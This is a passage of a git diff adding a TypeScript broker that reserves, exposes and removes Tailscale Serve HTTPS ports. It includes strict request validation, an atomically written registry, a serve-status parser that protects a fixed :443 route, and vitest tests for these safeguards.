+      { op: "expose", requestId: "req-x", runtimeId: RUNTIME_A, handle },
+      PEER,
+    );
+    expect(exposed.ok).toBe(false);
+    if (!exposed.ok) expect(exposed.code).toBe("protected_port");
+
+    expect(fake.exposeCalls).toBe(0);
+    expect(fake.removeCalls).toBe(0);
+    expect(fake.preservedSnapshot()).toEqual(PRESERVED_INTACT);
+  });
+
+  it("preserves both pairs across a full healthy reserve/expose/remove lifecycle", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+    const lanePorts = [42010, 52010];
+
+    const reserved = await core.handle(reserveReq(lanePorts), PEER);
+    expect(reserved.ok).toBe(true);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+
+    const exposed = await core.handle(
+      { op: "expose", requestId: "req-x", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(exposed.ok).toBe(true);
+    expect(fake.ports.get(42010)).toBe("http://127.0.0.1:42010");
+    expect(fake.preservedSnapshot()).toEqual(PRESERVED_INTACT);
+
+    const removed = await core.handle(
+      { op: "remove", requestId: "req-d", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+    expect(removed.ok).toBe(true);
+    expect(fake.ports.has(42010)).toBe(false);
+    expect(fake.ports.has(52010)).toBe(false);
+    // The whole point: only the lane's own ports moved.
+    expect(fake.preservedSnapshot()).toEqual(PRESERVED_INTACT);
+  });
+
+  it("preserves both pairs when expose fails midway and is compensated", async () => {
+    const fake = new FakeTailscale();
+    fake.failExposePort = 52010; // second port fails, first is already applied
+    const { core, audit } = makeCore(fake, registryPath);
+
+    const reserved = await core.handle(reserveReq([42010, 52010]), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+    const exposed = await core.handle(
+      { op: "expose", requestId: "req-x", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+
+    expect(exposed.ok).toBe(false);
+    if (!exposed.ok) expect(exposed.code).toBe("cli_error");
+    // Compensation rolled back the partial application...
+    expect(fake.ports.has(42010)).toBe(false);
+    // ...and touched nothing it did not apply.
+    expect(fake.removedPorts).toEqual([42010]);
+    expect(fake.preservedSnapshot()).toEqual(PRESERVED_INTACT);
+
+    // Compensation is a Serve mutation, so it must leave a durable record
+    // (req #6). Before this change it emitted none at all.
+    const compensation = audit.events.find((event) => event.recovery === "cleanup" && event.op === "expose");
+    expect(compensation?.reason).toBe("expose compensated");
+  });
+
+  it("detects and quarantines when compensation collaterally changes an unrelated entry", async () => {
+    // Requirement #3: any unrelated Serve change must be DETECTED. This path
+    // previously trusted the rollback exit code and re-read nothing.
+    const fake = new FakeTailscale();
+    fake.failExposePort = 52010;
+    fake.strayOnRemove = MANUAL_APP; // rollback clobbers an unknown/manual entry
+    const { core, audit } = makeCore(fake, registryPath);
+
+    const reserved = await core.handle(reserveReq([42010, 52010]), PEER);
+    if (!reserved.ok || reserved.op !== "reserve") throw new Error("reserve failed");
+    const exposed = await core.handle(
+      { op: "expose", requestId: "req-x", runtimeId: RUNTIME_A, handle: reserved.handle },
+      PEER,
+    );
+
+    // The original failure is still the reported error — never masked.
+    expect(exposed.ok).toBe(false);
+    if (!exposed.ok) expect(exposed.code).toBe("cli_error");
+
+    // The collateral damage is detected, recorded, and the port quarantined so
+    // it is never silently reused. Recoverability preserved, loss surfaced.
+    const denial = audit.events.find((event) => event.reason.startsWith("expose compensation unverified"));
+    expect(denial).toBeDefined();
+    expect(denial?.reason).toContain(`unexpected_serve_diff:${MANUAL_APP}`);
+    expect(denial?.recovery).toBe("quarantine");
+    const registry = JSON.parse(readFileSync(registryPath, "utf8"));
+    expect(registry.quarantinedPorts).toContain(42010);
+  });
+
+  it("detects a protected entry that DISAPPEARS, not just one that is retargeted", () => {
+    // The incident was a deletion. `entryDigest(undefined)` is the `"absent"`
+    // sentinel precisely so removal is as loud as retargeting.
+    const withBoth = parseServeStatus(JSON.parse(new FakeTailscale().run([BIN, "serve", "status", "--json"]).stdout));
+    const missing = new FakeTailscale();
+    missing.ports.delete(PROTECTED_APP);
+    const withoutOne = parseServeStatus(JSON.parse(missing.run([BIN, "serve", "status", "--json"]).stdout));
+
+    expect(changedProtectedPorts(withBoth, withoutOne, [PROTECTED_APP, PROTECTED_HMR])).toEqual([PROTECTED_APP]);
+    expect(changedProtectedPorts(withBoth, withBoth, [PROTECTED_APP, PROTECTED_HMR])).toEqual([]);
+  });
+
+  it("refuses to build a mutating argv for a protected port", () => {
+    const guarded = [PROTECTED_APP, PROTECTED_HMR];
+    expect(() => buildExposeArgv(BIN, PROTECTED_APP, guarded)).toThrow(/operator-protected/);
+    expect(() => buildRemoveArgv(BIN, PROTECTED_HMR, guarded)).toThrow(/operator-protected/);
+    // Unprotected ports in the dedicated range still build exactly as before.
+    expect(buildRemoveArgv(BIN, 42010, guarded)).toEqual([BIN, "serve", "--https=42010", "off"]);
+    expect(buildExposeArgv(BIN, 42010, guarded)).toEqual([
+      BIN, "serve", "--bg", "--https=42010", "http://127.0.0.1:42010",
+    ]);
+  });
+
+  it("parses BROKER_PROTECTED_PORTS fail-closed", () => {
+    expect(parseProtectedPorts(undefined)).toEqual([]);
+    expect(parseProtectedPorts("")).toEqual([]);
+    expect(parseProtectedPorts("52000,42000")).toEqual([42000, 52000]);
+    expect(parseProtectedPorts("42000 52000")).toEqual([42000, 52000]);
+    expect(parseProtectedPorts("42000,42000")).toEqual([42000]);
+    // A malformed list must stop the broker, not silently protect nothing.
+    expect(() => parseProtectedPorts("42000,abc")).toThrow(/non-numeric/);
+    expect(() => parseProtectedPorts("70000")).toThrow(/out-of-range/);
+    expect(() => parseProtectedPorts("443")).toThrow(/must not list 443/);
+  });
+});
diff --git a/packages/tailscale-https-broker/src/protocol.test.ts b/packages/tailscale-https-broker/src/protocol.test.ts
new file mode 100644
index 00000000000..32b3ba93de5
--- /dev/null
+++ b/packages/tailscale-https-broker/src/protocol.test.ts
@@ -0,0 +1,119 @@
+import { describe, expect, it } from "vitest";
+import { ProtocolError, decodeRequest, MAX_REQUEST_BYTES } from "./protocol.js";
+
+const RUNTIME = "2af79bb1-ecc5-4410-8438-091be135a921";
+
+function frame(obj: unknown): string {
+  return JSON.stringify(obj);
+}
+
+describe("decodeRequest", () => {
+  it("decodes a valid reserve request", () => {
+    const req = decodeRequest(
+      frame({
+        v: 1,
+        op: "reserve",
+        requestId: "req-1",
+        runtimeId: RUNTIME,
+        listeners: [
+          { purpose: "app", port: 42010 },
+          { purpose: "vite_hmr", port: 52010 },
+        ],
+      }),
+    );
+    expect(req).toEqual({
+      op: "reserve",
+      requestId: "req-1",
+      runtimeId: RUNTIME,
+      listeners: [
+        { purpose: "app", port: 42010 },
+        { purpose: "vite_hmr", port: 52010 },
+      ],
+    });
+  });
+
+  it("decodes expose, remove, and list", () => {
+    expect(
+      decodeRequest(frame({ v: 1, op: "list", requestId: "r" })).op,
+    ).toBe("list");
+    const rm = decodeRequest(
+      frame({ v: 1, op: "remove", requestId: "r", runtimeId: RUNTIME, handle: "a".repeat(20) }),
+    );
+    expect(rm.op).toBe("remove");
+    const expose = decodeRequest(
+      frame({ v: 1, op: "expose", requestId: "r", runtimeId: RUNTIME, handle: "a".repeat(20) }),
+    );
+    expect(expose.op).toBe("expose");
+  });
+
+  it("rejects unsupported protocol version", () => {
+    expect(() => decodeRequest(frame({ v: 2, op: "list", requestId: "r" }))).toThrow(ProtocolError);
+    try {
+      decodeRequest(frame({ v: 2, op: "list", requestId: "r" }));
+    } catch (e) {
+      expect((e as ProtocolError).code).toBe("unsupported_version");
+    }
+  });
+
+  it("rejects unknown operations and unknown fields", () => {
+    expect(() => decodeRequest(frame({ v: 1, op: "reset", requestId: "r" }))).toThrow(/unknown operation/);
+    expect(() =>
+      decodeRequest(frame({ v: 1, op: "list", requestId: "r", extra: 1 })),
+    ).toThrow(/unknown field/);
+  });
+
+  it("rejects duplicate keys", () => {
+    expect(() => decodeRequest('{"v":1,"op":"list","op":"expose","requestId":"r"}')).toThrow(/duplicate/);
+  });
+
+  it("rejects a non-UUID runtimeId and out-of-canonical ports", () => {
+    expect(() =>
+      decodeRequest(frame({ v: 1, op: "reserve", requestId: "r", runtimeId: "not-a-uuid", listeners: [{ purpose: "app", port: 42010 }] })),
+    ).toThrow(/runtime/);
+    expect(() =>
+      decodeRequest(frame({ v: 1, op: "reserve", requestId: "r", runtimeId: RUNTIME, listeners: [{ purpose: "app", port: "42010" }] })),
+    ).toThrow();
+  });
+
+  it("rejects duplicate ports/purposes and too many listeners", () => {
+    expect(() =>
+      decodeRequest(frame({ v: 1, op: "reserve", requestId: "r", runtimeId: RUNTIME, listeners: [{ purpose: "app", port: 42010 }, { purpose: "app", port: 42010 }] })),
+    ).toThrow(/duplicate/);
+    expect(() =>
+      decodeRequest(frame({ v: 1, op: "reserve", requestId: "r", runtimeId: RUNTIME, listeners: [{ purpose: "app", port: 42010 }, { purpose: "vite_hmr", port: 52010 }, { purpose: "app", port: 42011 }] })),
+    ).toThrow(/too many/);
+  });
+
+  it("rejects HMR-only and mismatched app/HMR reservations", () => {
+    expect(() => decodeRequest(frame({
+      v: 1,
+      op: "reserve",
+      requestId: "r",
+      runtimeId: RUNTIME,
+      listeners: [{ purpose: "vite_hmr", port: 52000 }],
+    }))).toThrow(/app listener/);
+    expect(() => decodeRequest(frame({
+      v: 1,
+      op: "reserve",
+      requestId: "r",
+      runtimeId: RUNTIME,
+      listeners: [
+        { purpose: "app", port: 42000 },
+        { purpose: "vite_hmr", port: 52001 },
+      ],
+    }))).toThrow(/companion/);
+  });
+
+  it("rejects oversized frames", () => {
+    const big = "x".repeat(MAX_REQUEST_BYTES + 1);
+    expect(() =>
+      decodeRequest(frame({ v: 1, op: "list", requestId: "r", pad: big })),
+    ).toThrow(/size limit|unknown field/);
+  });
+
+  it("rejects invalid handles on remove", () => {
+    expect(() =>
+      decodeRequest(frame({ v: 1, op: "remove", requestId: "r", runtimeId: RUNTIME, handle: "short" })),
+    ).toThrow();
+  });
+});
diff --git a/packages/tailscale-https-broker/src/protocol.ts b/packages/tailscale-https-broker/src/protocol.ts
new file mode 100644
index 00000000000..cf21a3f43b8
--- /dev/null
+++ b/packages/tailscale-https-broker/src/protocol.ts
@@ -0,0 +1,182 @@
+/**
+ * Versioned, length-bounded broker request protocol with a strict schema
+ * (PAP-17050 verdict requirement #5). Every request is decoded here before any
+ * authorization or mutation logic runs. Malformed, oversized, wrong-version,
+ * duplicate-key, and unknown-field requests are rejected without side effects.
+ */
+import { assertCanonicalPort } from "./integers.js";
+import {
+  DEFAULT_APP_PORT_MAX,
+  DEFAULT_APP_PORT_MIN,
+  DEFAULT_HMR_PORT_OFFSET,
+} from "./port-policy.js";
+import { parseJsonNoDuplicateKeys } from "./strict-json.js";
+import {
+  BROKER_PROTOCOL_VERSION,
+  type BrokerRequest,
+  type OwnedListener,
+} from "./types.js";
+
+/** Hard cap on a single request frame (bytes). Bounds memory + slowloris. */
+export const MAX_REQUEST_BYTES = 8 * 1024;
+
+/** Max listeners in one expose request (app + HMR companion). */
+export const MAX_LISTENERS_PER_REQUEST = 2;
+
+const UUID_RE =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/;
+
+const REQUEST_ID_RE = /^[A-Za-z0-9_-]{1,64}$/;
+
+const HANDLE_RE = /^[A-Za-z0-9_-]{16,128}$/;
+
+const ALLOWED_PURPOSES: ReadonlySet<OwnedListener["purpose"]> = new Set([
+  "app",
+  "vite_hmr",
+]);
+
+export class ProtocolError extends Error {
+  constructor(
+    readonly code:
+      | "unsupported_version"
+      | "malformed_request"
+      | "unknown_operation"
+      | "invalid_runtime_id"
+      | "invalid_port",
+    message: string,
+    readonly requestId: string | null = null,
+  ) {
+    super(message);
+    this.name = "ProtocolError";
+  }
+}
+
+function asObject(value: unknown): Record<string, unknown> {
+  if (typeof value !== "object" || value === null || Array.isArray(value)) {
+    throw new ProtocolError("malformed_request", "request must be a JSON object");
+  }
+  return value as Record<string, unknown>;
+}
+
+function requireStringField(
+  obj: Record<string, unknown>,
+  field: string,
+  re: RegExp,
+  code: ProtocolError["code"],
+  requestId: string | null,
+): string {
+  const value = obj[field];
+  if (typeof value !== "string" || !re.test(value)) {
+    throw new ProtocolError(code, `invalid or missing field: ${field}`, requestId);
+  }
+  return value;
+}
+
+/**
+ * Decode a raw request frame (utf-8 JSON) into a validated BrokerRequest.
+ * Throws ProtocolError on any violation; never mutates state.
+ */
+export function decodeRequest(frame: Buffer | string): BrokerRequest {
+  const buf = typeof frame === "string" ? Buffer.from(frame, "utf8") : frame;
+  if (buf.byteLength === 0) {
+    throw new ProtocolError("malformed_request", "empty request frame");
+  }
+  if (buf.byteLength > MAX_REQUEST_BYTES) {
+    throw new ProtocolError("malformed_request", "request frame exceeds size limit");
+  }
+
+  let parsed: unknown;
+  try {
+    parsed = parseJsonNoDuplicateKeys(buf.toString("utf8"));
+  } catch (error) {
+    throw new ProtocolError(
+      "malformed_request",
+      `invalid JSON: ${(error as Error).message}`,
+    );
+  }
+
+  const obj = asObject(parsed);
+
+  if (obj.v !== BROKER_PROTOCOL_VERSION) {
+    throw new ProtocolError(
+      "unsupported_version",
+      `unsupported protocol version: ${String(obj.v)}`,
+    );
+  }
+
+  const requestId = requireStringField(obj, "requestId", REQUEST_ID_RE, "malformed_request", null);
+
+  const op = obj.op;
+  if (op !== "reserve" && op !== "expose" && op !== "remove" && op !== "list") {
+    throw new ProtocolError("unknown_operation", `unknown operation: ${String(op)}`, requestId);
+  }
+
+  if (op === "list") {
+    assertExactKeys(obj, ["v", "op", "requestId"], requestId);
+    return { op: "list", requestId };
+  }
+
+  if (op === "remove" || op === "expose") {
+    assertExactKeys(obj, ["v", "op", "requestId", "runtimeId", "handle"], requestId);
+    const runtimeId = requireStringField(obj, "runtimeId", UUID_RE, "invalid_runtime_id", requestId);
+    const handle = requireStringField(obj, "handle", HANDLE_RE, "malformed_request", requestId);
+    return { op, requestId, runtimeId, handle };
+  }
+
+  // reserve
+  assertExactKeys(obj, ["v", "op", "requestId", "runtimeId", "listeners"], requestId);
+  const runtimeId = requireStringField(obj, "runtimeId", UUID_RE, "invalid_runtime_id", requestId);
+  const rawListeners = obj.listeners;
+  if (!Array.isArray(rawListeners) || rawListeners.length === 0) {
+    throw new ProtocolError("malformed_request", "listeners must be a non-empty array", requestId);
+  }
+  if (rawListeners.length > MAX_LISTENERS_PER_REQUEST) {
+    throw new ProtocolError("malformed_request", "too many listeners in request", requestId);
+  }
+  const listeners: OwnedListener[] = rawListeners.map((entry) => {
+    const listener = asObject(entry);
+    assertExactKeys(listener, ["purpose", "port"], requestId);
+    const purpose = listener.purpose;
+    if (typeof purpose !== "string" || !ALLOWED_PURPOSES.has(purpose as OwnedListener["purpose"])) {
+      throw new ProtocolError("malformed_request", "invalid listener purpose", requestId);
+    }
+    let port: number;
+    try {
+      port = assertCanonicalPort(listener.port);
+    } catch (error) {
+      throw new ProtocolError("invalid_port", (error as Error).message, requestId);
+    }
+    return { purpose: purpose as OwnedListener["purpose"], port };
+  });
+
+  // Reject duplicate ports / duplicate purposes within one request.
+  const ports = new Set(listeners.map((l) => l.port));
+  const purposes = new Set(listeners.map((l) => l.purpose));
+  if (ports.size !== listeners.length || purposes.size !== listeners.length) {
+    throw new ProtocolError("malformed_request", "duplicate listener port or purpose", requestId);
+  }
+
+  const app = listeners.find((listener) => listener.purpose === "app");
+  const hmr = listeners.find((listener) => listener.purpose === "vite_hmr");
+  if (!app || app.port < DEFAULT_APP_PORT_MIN || app.port > DEFAULT_APP_PORT_MAX) {
+    throw new ProtocolError("invalid_port", "an app listener in the dedicated app range is required", requestId);
+  }
+  if (hmr && hmr.port !== app.port + DEFAULT_HMR_PORT_OFFSET) {
+    throw new ProtocolError("invalid_port", "vite_hmr must be the app port companion", requestId);
+  }
+
+  return { op: "reserve", requestId, runtimeId, listeners };
+}
+
+function assertExactKeys(
+  obj: Record<string, unknown>,
+  allowed: string[],
+  requestId: string | null,
+): void {
+  const allowedSet = new Set(allowed);
+  for (const key of Object.keys(obj)) {
+    if (!allowedSet.has(key)) {
+      throw new ProtocolError("malformed_request", `unknown field: ${key}`, requestId);
+    }
+  }
+}
diff --git a/packages/tailscale-https-broker/src/registry.ts b/packages/tailscale-https-broker/src/registry.ts
new file mode 100644
index 00000000000..3e6061e9a42
--- /dev/null
+++ b/packages/tailscale-https-broker/src/registry.ts
@@ -0,0 +1,158 @@
+/**
+ * Root-owned ownership registry persisted atomically (PAP-17050 verdict #3).
+ *
+ * Writes go through temp-file + fsync + rename + directory fsync so a crash
+ * never leaves a torn registry. The file must be mode 0600 in a root-owned,
+ * non-writable parent directory; unsafe permissions make the broker refuse to
+ * start (checked by the caller via `assertSafeRegistryPath`).
+ */
+import {
+  closeSync,
+  fsyncSync,
+  mkdirSync,
+  openSync,
+  readFileSync,
+  renameSync,
+  statSync,
+  writeFileSync,
+} from "node:fs";
+import { dirname } from "node:path";
+import type { BrokerRegistry, LeaseRecord } from "./types.js";
+
+export function emptyRegistry(nodeIdentity: string): BrokerRegistry {
+  return {
+    version: 1,
+    nodeIdentity,
+    generationCounter: 0,
+    leases: [],
+    quarantinedPorts: [],
+  };
+}
+
+export function loadRegistry(path: string, nodeIdentity: string): BrokerRegistry {
+  let raw: string;
+  try {
+    raw = readFileSync(path, "utf8");
+  } catch (error) {
+    if ((error as NodeJS.ErrnoException).code === "ENOENT") {
+      return emptyRegistry(nodeIdentity);
+    }
+    throw error;
+  }
+  const parsed = JSON.parse(raw) as BrokerRegistry;
+  if (parsed.version !== 1 || !Array.isArray(parsed.leases)) {
+    throw new Error("registry is corrupt or of an unsupported version");
+  }
+  // Compatibility with the pre-reservation development build: an existing
+  // lease necessarily represented an exposed mapping.
+  parsed.leases = parsed.leases.map((lease) => ({
+    ...lease,
+    state: lease.state === "reserved" ? "reserved" : "exposed",
+    expiresAtIso: typeof lease.expiresAtIso === "string" ? lease.expiresAtIso : null,
+  }));
+  parsed.quarantinedPorts = Array.isArray(parsed.quarantinedPorts) ? parsed.quarantinedPorts : [];
+  return parsed;
+}
+
+/**
+ * Persist the registry atomically. Temp file in the same directory (same fs),
+ * fsync data, rename over the target, then fsync the directory so the rename is
+ * durable.
+ */
+export function saveRegistry(path: string, registry: BrokerRegistry): void {
+  const dir = dirname(path);
+  mkdirSync(dir, { recursive: true, mode: 0o700 });
+  const tmp = `${path}.tmp-${process.pid}`;
+  writeFileSync(tmp, `${JSON.stringify(registry, null, 2)}\n`, { mode: 0o600 });
+  const fd = openSync(tmp, "r");
+  try {
+    fsyncSync(fd);
+  } finally {
+    closeSync(fd);
+  }
+  renameSync(tmp, path);
+  const dirFd = openSync(dir, "r");
+  try {
+    fsyncSync(dirFd);
+  } finally {
+    closeSync(dirFd);
+  }
+}
+
+/**
+ * Refuse to operate on a registry whose parent directory is group/world
+ * writable or whose file (when present) is group/world accessible. Returns the
+ * reason string when unsafe, or null when safe.
+ */
+export function registryPathUnsafeReason(path: string): string | null {
+  const dir = dirname(path);
+  let dirStat;
+  try {
+    dirStat = statSync(dir);
+  } catch (error) {
+    if ((error as NodeJS.ErrnoException).code === "ENOENT") return null;
+    throw error;
+  }
+  if ((dirStat.mode & 0o022) !== 0) {
+    return "registry parent directory is group/world writable";
+  }
+  try {
+    const fileStat = statSync(path);
+    if ((fileStat.mode & 0o077) !== 0) {
+      return "registry file is group/world accessible";
+    }
+  } catch (error) {
+    if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error;
+  }
+  return null;
+}
+
+export function nextGeneration(registry: BrokerRegistry): number {
+  registry.generationCounter += 1;
+  return registry.generationCounter;
+}
+
+export function addLease(registry: BrokerRegistry, lease: LeaseRecord): void {
+  registry.leases.push(lease);
+}
+
+export function removeLeaseByHandle(registry: BrokerRegistry, handle: string): LeaseRecord | null {
+  const index = registry.leases.findIndex((lease) => lease.handle === handle);
+  if (index < 0) return null;
+  const [removed] = registry.leases.splice(index, 1);
+  return removed;
+}
+
+/** Remove expired, never-exposed reservations and return their released ports. */
+export function pruneExpiredReservations(registry: BrokerRegistry, nowIso: string): number[] {
+  const nowMs = Date.parse(nowIso);
+  if (!Number.isFinite(nowMs)) return [];
+  const released: number[] = [];
+  registry.leases = registry.leases.filter((lease) => {
+    if (lease.state !== "reserved" || !lease.expiresAtIso) return true;
+    const expiresMs = Date.parse(lease.expiresAtIso);
+    if (!Number.isFinite(expiresMs) || expiresMs > nowMs) return true;
+    released.push(...lease.ports);
+    return false;
+  });
+  return released;
+}
+
+export function isPortQuarantined(registry: BrokerRegistry, port: number): boolean {
+  return registry.quarantinedPorts.includes(port);
+}
+
+export function quarantinePort(registry: BrokerRegistry, port: number): void {
+  if (!registry.quarantinedPorts.includes(port)) {
+    registry.quarantinedPorts.push(port);
+  }
+}
+
+/** Ports the registry believes are actively owned by a live lease. */
+export function ownedPorts(registry: BrokerRegistry): Set<number> {
+  const ports = new Set<number>();
+  for (const lease of registry.leases) {
+    for (const port of lease.ports) ports.add(port);
+  }
+  return ports;
+}
diff --git a/packages/tailscale-https-broker/src/serve-config.test.ts b/packages/tailscale-https-broker/src/serve-config.test.ts
new file mode 100644
index 00000000000..a4f9bf4c722
--- /dev/null
+++ b/packages/tailscale-https-broker/src/serve-config.test.ts
@@ -0,0 +1,69 @@
+import { describe, expect, it } from "vitest";
+import {
+  ServeParseError,
+  assertPrimaryIntact,
+  changedPorts,
+  isSameNumberLoopbackEntry,
+  parseServeStatus,
+  primaryDigest,
+} from "./serve-config.js";
+
+const HOST = "paperclip-dev.tail29c1aa.ts.net";
+
+function serve(ports: Record<number, string | null>): unknown {
+  const TCP: Record<string, unknown> = {};
+  const Web: Record<string, unknown> = {};
+  for (const [portStr, proxy] of Object.entries(ports)) {
+    TCP[portStr] = { HTTPS: true };
+    Web[`${HOST}:${portStr}`] = { Handlers: { "/": { Proxy: proxy } } };
+  }
+  return { TCP, Web };
+}
+
+const PRIMARY = { 443: "http://127.0.0.1:3100" };
+
+describe("parseServeStatus", () => {
+  it("normalizes TCP + Web into port entries", () => {
+    const parsed = parseServeStatus(serve({ ...PRIMARY, 42010: "http://127.0.0.1:42010" }));
+    expect(parsed.entries.get(42010)?.https).toBe(true);
+    expect(isSameNumberLoopbackEntry(parsed.entries.get(42010), 42010)).toBe(true);
+  });
+
+  it("fails closed on malformed shapes", () => {
+    expect(() => parseServeStatus(null)).toThrow(ServeParseError);
+    expect(() => parseServeStatus({ TCP: [] })).toThrow(ServeParseError);
+    expect(() => parseServeStatus({ Web: { "no-port": {} } })).toThrow(ServeParseError);
+  });
+
+  it("tolerates unknown top-level fields", () => {
+    expect(() => parseServeStatus({ ...(serve(PRIMARY) as object), AllowFunnel: {} })).not.toThrow();
+  });
+});
+
+describe(":443 invariant", () => {
+  it("asserts the primary route intact", () => {
+    const parsed = parseServeStatus(serve(PRIMARY));
+    expect(() => assertPrimaryIntact(parsed)).not.toThrow();
+  });
+
+  it("throws when :443 is missing or retargeted", () => {
+    expect(() => assertPrimaryIntact(parseServeStatus(serve({ 42010: "http://127.0.0.1:42010" })))).toThrow();
+    expect(() => assertPrimaryIntact(parseServeStatus(serve({ 443: "http://127.0.0.1:9999" })))).toThrow();
+  });
+
+  it("produces a stable digest that changes only when :443 changes", () => {
+    const a = primaryDigest(parseServeStatus(serve({ ...PRIMARY, 42010: "http://127.0.0.1:42010" })));
+    const b = primaryDigest(parseServeStatus(serve({ ...PRIMARY, 42011: "http://127.0.0.1:42011" })));
+    expect(a).toBe(b);
+    const c = primaryDigest(parseServeStatus(serve({ 443: "http://127.0.0.1:9999" })));
+    expect(c).not.toBe(a);
+  });
+});
+
+describe("changedPorts", () => {
+  it("detects only the ports whose entry differs", () => {
+    const before = parseServeStatus(serve({ ...PRIMARY }));
+    const after = parseServeStatus(serve({ ...PRIMARY, 42010: "http://127.0.0.1:42010" }));
+    expect(changedPorts(before, after)).toEqual([42010]);
+  });
+});
diff --git a/packages/tailscale-https-broker/src/serve-config.ts b/packages/tailscale-https-broker/src/serve-config.ts
new file mode 100644
index 00000000000..9b8e668e4a8
--- /dev/null
+++ b/packages/tailscale-https-broker/src/serve-config.ts
@@ -0,0 +1,183 @@
+/**
+ * Strict parser + invariant checks for `tailscale serve status --json` output.
+ *
+ * The primary route `:443 -> http://127.0.0.1:3100` is a protected invariant
+ * verified before AND after every mutation, and unknown/manual entries are
+ * never modified (PAP-17050 verdict requirement #3 + invariants). Parsing fails
+ * closed: any ambiguity, parse error, or unexpected shape is an error, never a
+ * best-effort guess.
+ */
+import { assertCanonicalPort } from "./integers.js";
+import { PROTECTED_PRIMARY_PORT, PROTECTED_PRIMARY_TARGET } from "./types.js";
+
+export interface ServeHandler {
+  path: string;
+  proxy: string | null;
+}
+
+export interface ServeEntry {
+  port: number;
+  https: boolean;
+  handlers: ServeHandler[];
+}
+
+export interface ParsedServe {
+  /** Normalized entries keyed by port. */
+  entries: Map<number, ServeEntry>;
+}
+
+export class ServeParseError extends Error {
+  constructor(message: string) {
+    super(message);
+    this.name = "ServeParseError";
+  }
+}
+
+function isObject(value: unknown): value is Record<string, unknown> {
+  return typeof value === "object" && value !== null && !Array.isArray(value);
+}
+
+/** Extract the trailing `:port` of a `host:port` Web key. */
+function portFromWebKey(key: string): number {
+  const idx = key.lastIndexOf(":");
+  if (idx <= 0 || idx === key.length - 1) {
+    throw new ServeParseError(`malformed Web key: ${JSON.stringify(key)}`);
+  }
+  const portText = key.slice(idx + 1);
+  if (!/^[0-9]+$/.test(portText)) {
+    throw new ServeParseError(`non-numeric port in Web key: ${JSON.stringify(key)}`);
+  }
+  return assertCanonicalPort(Number(portText));
+}
+
+/**
+ * Parse serve status JSON into a normalized, port-keyed model. Tolerates extra
+ * top-level fields (Tailscale evolves its schema) but strictly validates the
+ * `TCP` and `Web` shapes it depends on.
+ */
+export function parseServeStatus(json: unknown): ParsedServe {
+  if (!isObject(json)) {
+    throw new ServeParseError("serve status must be a JSON object");
+  }
+  const entries = new Map<number, ServeEntry>();
+
+  const tcp = json.TCP;
+  const httpsPorts = new Set<number>();
+  if (tcp !== undefined && tcp !== null) {
+    if (!isObject(tcp)) throw new ServeParseError("TCP must be an object");
+    for (const [portKey, value] of Object.entries(tcp)) {
+      if (!/^[0-9]+$/.test(portKey)) {
+        throw new ServeParseError(`non-numeric TCP port: ${portKey}`);
+      }
+      const port = assertCanonicalPort(Number(portKey));
+      if (!isObject(value)) throw new ServeParseError(`TCP[${portKey}] must be an object`);
+      if (value.HTTPS === true) httpsPorts.add(port);
+      if (!entries.has(port)) entries.set(port, { port, https: value.HTTPS === true, handlers: [] });
+      else entries.get(port)!.https = value.HTTPS === true;
+    }
+  }
+
+  const web = json.Web;
+  if (web !== undefined && web !== null) {
+    if (!isObject(web)) throw new ServeParseError("Web must be an object");
+    for (const [hostKey, value] of Object.entries(web)) {
+      const port = portFromWebKey(hostKey);
+      if (!isObject(value)) throw new ServeParseError(`Web[${hostKey}] must be an object`);
+      const handlersRaw = value.Handlers;
+      const handlers: ServeHandler[] = [];
+      if (handlersRaw !== undefined && handlersRaw !== null) {
+        if (!isObject(handlersRaw)) throw new ServeParseError(`Handlers for ${hostKey} must be an object`);
+        for (const [path, handler] of Object.entries(handlersRaw)) {
+          if (!isObject(handler)) throw new ServeParseError(`handler ${path} must be an object`);
+          const proxy = handler.Proxy;
+          if (proxy !== undefined && typeof proxy !== "string") {
+            throw new ServeParseError(`handler ${path} Proxy must be a string`);
+          }
+          handlers.push({ path, proxy: typeof proxy === "string" ? proxy : null });
+        }
+      }
+      const existing = entries.get(port);
+      if (existing) {
+        existing.handlers.push(...handlers);
+        if (httpsPorts.has(port)) existing.https = true;
+      } else {
+        entries.set(port, { port, https: httpsPorts.has(port), handlers });
+      }
+    }
+  }
+
+  return { entries };
+}
+
+/** Stable, order-independent digest of one entry, for before/after comparison. */
+export function entryDigest(entry: ServeEntry | undefined): string {
+  if (!entry) return "absent";
+  const handlers = [...entry.handlers]
+    .map((h) => `${h.path}=>${h.proxy ?? ""}`)
+    .sort();
+  return JSON.stringify({ port: entry.port, https: entry.https, handlers });
+}
+
+/** True when the given entry is exactly a same-number HTTPS->loopback listener. */
+export function isSameNumberLoopbackEntry(entry: ServeEntry | undefined, port: number): boolean {
+  if (!entry || entry.port !== port || !entry.https) return false;
+  if (entry.handlers.length !== 1) return false;
+  const [handler] = entry.handlers;
+  return handler.path === "/" && handler.proxy === `http://127.0.0.1:${port}`;
+}
+
+/**
+ * Assert the protected primary `:443 -> http://127.0.0.1:3100` route is present
+ * and exactly as expected. Throws otherwise. Called before and after mutation.
+ */
+export function assertPrimaryIntact(parsed: ParsedServe): void {
+  const entry = parsed.entries.get(PROTECTED_PRIMARY_PORT);
+  if (!entry) {
+    throw new ServeParseError("protected primary :443 route is missing");
+  }
+  if (!entry.https) {
+    throw new ServeParseError("protected primary :443 route is not HTTPS");
+  }
+  const root = entry.handlers.find((h) => h.path === "/");
+  if (!root || root.proxy !== PROTECTED_PRIMARY_TARGET) {
+    throw new ServeParseError("protected primary :443 route target changed");
+  }
+}
+
+/** Digest of the protected :443 entry, for exact before/after equality. */
+export function primaryDigest(parsed: ParsedServe): string {
+  return entryDigest(parsed.entries.get(PROTECTED_PRIMARY_PORT));
+}
+
+/**
+ * Protected ports whose entry digest differs between two snapshots (PAP-17285).
+ * Empty is the only healthy result for any broker mutation.
+ *
+ * `entryDigest(undefined)` is the sentinel `"absent"`, so a protected entry that
+ * *disappears* changes this digest exactly as loudly as one that is retargeted.
+ * That is precisely the failure that went undetected on `42000/52000`: the
